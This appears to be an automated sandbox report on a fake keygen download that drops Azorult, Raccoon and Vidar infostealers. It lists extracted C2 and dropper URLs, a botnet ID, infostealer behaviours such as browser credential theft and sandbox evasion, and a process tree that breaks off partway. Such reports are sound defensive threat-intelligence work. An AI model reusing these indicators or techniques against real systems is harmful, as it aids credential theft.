Resubmissions

10-04-2021 05:28

210410-642g16c6y6 10

09-04-2021 16:57

210409-a3zwd3zjvx 10

09-04-2021 05:30

210409-4qr2p4p1m6 10

Analysis

  • max time kernel
    42s
  • max time network
    302s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    09-04-2021 05:30

General

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://labsclub.com/welcome

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Extracted

Family

raccoon

Botnet

a6bfe7e504db71e25642b830fd9b2c4366cf882a

Attributes
  • url4cnc

    https://telete.in/j90dadarobin

rc4.plain
rc4.plain

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Downloads MZ/PE file
  • Executes dropped EXE 15 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Drops Chrome extension 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 6 IoCs
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 6 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 4 IoCs
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 12 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
    1⤵
      PID:348
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Schedule
      1⤵
        PID:940
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
        1⤵
          PID:1056
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s Themes
          1⤵
            PID:1204
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s UserManager
            1⤵
              PID:1240
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s SENS
              1⤵
                PID:1336
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s Browser
                1⤵
                  PID:2716
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" https://keygenit.com/d/30f8668638112r4p2203.html
                  1⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of WriteProcessMemory
                  PID:4768
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0xd4,0x7ff94f6b6e00,0x7ff94f6b6e10,0x7ff94f6b6e20
                    2⤵
                      PID:4944
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1476 /prefetch:2
                      2⤵
                        PID:4268
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1992 /prefetch:8
                        2⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:3192
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2664 /prefetch:1
                        2⤵
                          PID:4028
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2672 /prefetch:1
                          2⤵
                            PID:4196
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3252 /prefetch:1
                            2⤵
                              PID:500
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3272 /prefetch:1
                              2⤵
                                PID:644
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
                                2⤵
                                  PID:388
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
                                  2⤵
                                    PID:1272
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4348 /prefetch:8
                                    2⤵
                                      PID:4708
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4032 /prefetch:8
                                      2⤵
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:4476
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4040 /prefetch:8
                                      2⤵
                                        PID:4696
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5804 /prefetch:8
                                        2⤵
                                          PID:4636
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5928 /prefetch:8
                                          2⤵
                                            PID:4232
                                          • C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
                                            "C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings
                                            2⤵
                                              PID:3808
                                              • C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
                                                "C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff605b07740,0x7ff605b07750,0x7ff605b07760
                                                3⤵
                                                  PID:636
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5228 /prefetch:8
                                                2⤵
                                                  PID:560
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5300 /prefetch:8
                                                  2⤵
                                                    PID:696
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4932 /prefetch:8
                                                    2⤵
                                                      PID:2312
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5320 /prefetch:8
                                                      2⤵
                                                      • Suspicious behavior: EnumeratesProcesses
                                                      PID:3712
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5268 /prefetch:8
                                                      2⤵
                                                        PID:4620
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5876 /prefetch:8
                                                        2⤵
                                                          PID:4708
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6124 /prefetch:8
                                                          2⤵
                                                            PID:1384
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5248 /prefetch:8
                                                            2⤵
                                                              PID:1460
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5428 /prefetch:8
                                                              2⤵
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              PID:3548
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4816 /prefetch:8
                                                              2⤵
                                                                PID:4852
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6104 /prefetch:8
                                                                2⤵
                                                                  PID:3944
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6028 /prefetch:8
                                                                  2⤵
                                                                    PID:2352
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6052 /prefetch:8
                                                                    2⤵
                                                                      PID:3788
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5724 /prefetch:8
                                                                      2⤵
                                                                        PID:3584
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6152 /prefetch:8
                                                                        2⤵
                                                                          PID:1416
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6264 /prefetch:8
                                                                          2⤵
                                                                            PID:4372
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6416 /prefetch:8
                                                                            2⤵
                                                                              PID:696
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5216 /prefetch:8
                                                                              2⤵
                                                                                PID:1632
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3876 /prefetch:8
                                                                                2⤵
                                                                                  PID:2032
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5028 /prefetch:8
                                                                                  2⤵
                                                                                    PID:2040
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4064 /prefetch:8
                                                                                    2⤵
                                                                                      PID:2424
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4008 /prefetch:1
                                                                                      2⤵
                                                                                        PID:4612
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6316 /prefetch:8
                                                                                        2⤵
                                                                                          PID:4708
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3372 /prefetch:8
                                                                                          2⤵
                                                                                            PID:4092
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6460 /prefetch:8
                                                                                            2⤵
                                                                                              PID:3264
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6436 /prefetch:8
                                                                                              2⤵
                                                                                                PID:808
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5656 /prefetch:8
                                                                                                2⤵
                                                                                                  PID:1104
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6320 /prefetch:8
                                                                                                  2⤵
                                                                                                    PID:4624
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5220 /prefetch:8
                                                                                                    2⤵
                                                                                                      PID:2044
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6224 /prefetch:8
                                                                                                      2⤵
                                                                                                        PID:3824
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6656 /prefetch:1
                                                                                                        2⤵
                                                                                                          PID:3104
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6824 /prefetch:8
                                                                                                          2⤵
                                                                                                            PID:2352
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6836 /prefetch:8
                                                                                                            2⤵
                                                                                                              PID:2332
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7108 /prefetch:8
                                                                                                              2⤵
                                                                                                                PID:4372
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7212 /prefetch:8
                                                                                                                2⤵
                                                                                                                  PID:4648
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7496 /prefetch:1
                                                                                                                  2⤵
                                                                                                                    PID:4636
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7220 /prefetch:8
                                                                                                                    2⤵
                                                                                                                      PID:4816
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7788 /prefetch:8
                                                                                                                      2⤵
                                                                                                                        PID:932
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7928 /prefetch:8
                                                                                                                        2⤵
                                                                                                                          PID:5004
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1456,1747588684840186021,14118893716386885136,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6116 /prefetch:8
                                                                                                                          2⤵
                                                                                                                            PID:4676
                                                                                                                        • c:\windows\system32\svchost.exe
                                                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                                                                                                                          1⤵
                                                                                                                            PID:2404
                                                                                                                          • c:\windows\system32\svchost.exe
                                                                                                                            c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                                                                                                                            1⤵
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            PID:2392
                                                                                                                          • c:\windows\system32\svchost.exe
                                                                                                                            c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                                                                                                                            1⤵
                                                                                                                              PID:2240
                                                                                                                            • c:\windows\system32\svchost.exe
                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                                                                                                                              1⤵
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:2232
                                                                                                                            • c:\windows\system32\svchost.exe
                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                                                                                                                              1⤵
                                                                                                                                PID:1788
                                                                                                                              • \??\c:\windows\system32\svchost.exe
                                                                                                                                c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                1⤵
                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                • Modifies registry class
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                PID:4892
                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                  C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                  2⤵
                                                                                                                                  • Checks processor information in registry
                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                  PID:1252
                                                                                                                              • C:\Windows\System32\rundll32.exe
                                                                                                                                C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                                                1⤵
                                                                                                                                  PID:2788
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\Temp2_Wondershare.Dr.fone.For.5.5.0.key.generator.zip\Wondershare.Dr.fone.For.5.5.0.key.generator.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\Temp2_Wondershare.Dr.fone.For.5.5.0.key.generator.zip\Wondershare.Dr.fone.For.5.5.0.key.generator.exe"
                                                                                                                                  1⤵
                                                                                                                                    PID:3584
                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
                                                                                                                                      2⤵
                                                                                                                                        PID:1932
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
                                                                                                                                          keygen-pr.exe -p83fsase3Ge
                                                                                                                                          3⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:2352
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
                                                                                                                                            4⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:2884
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
                                                                                                                                              5⤵
                                                                                                                                                PID:4668
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
                                                                                                                                            keygen-step-1.exe
                                                                                                                                            3⤵
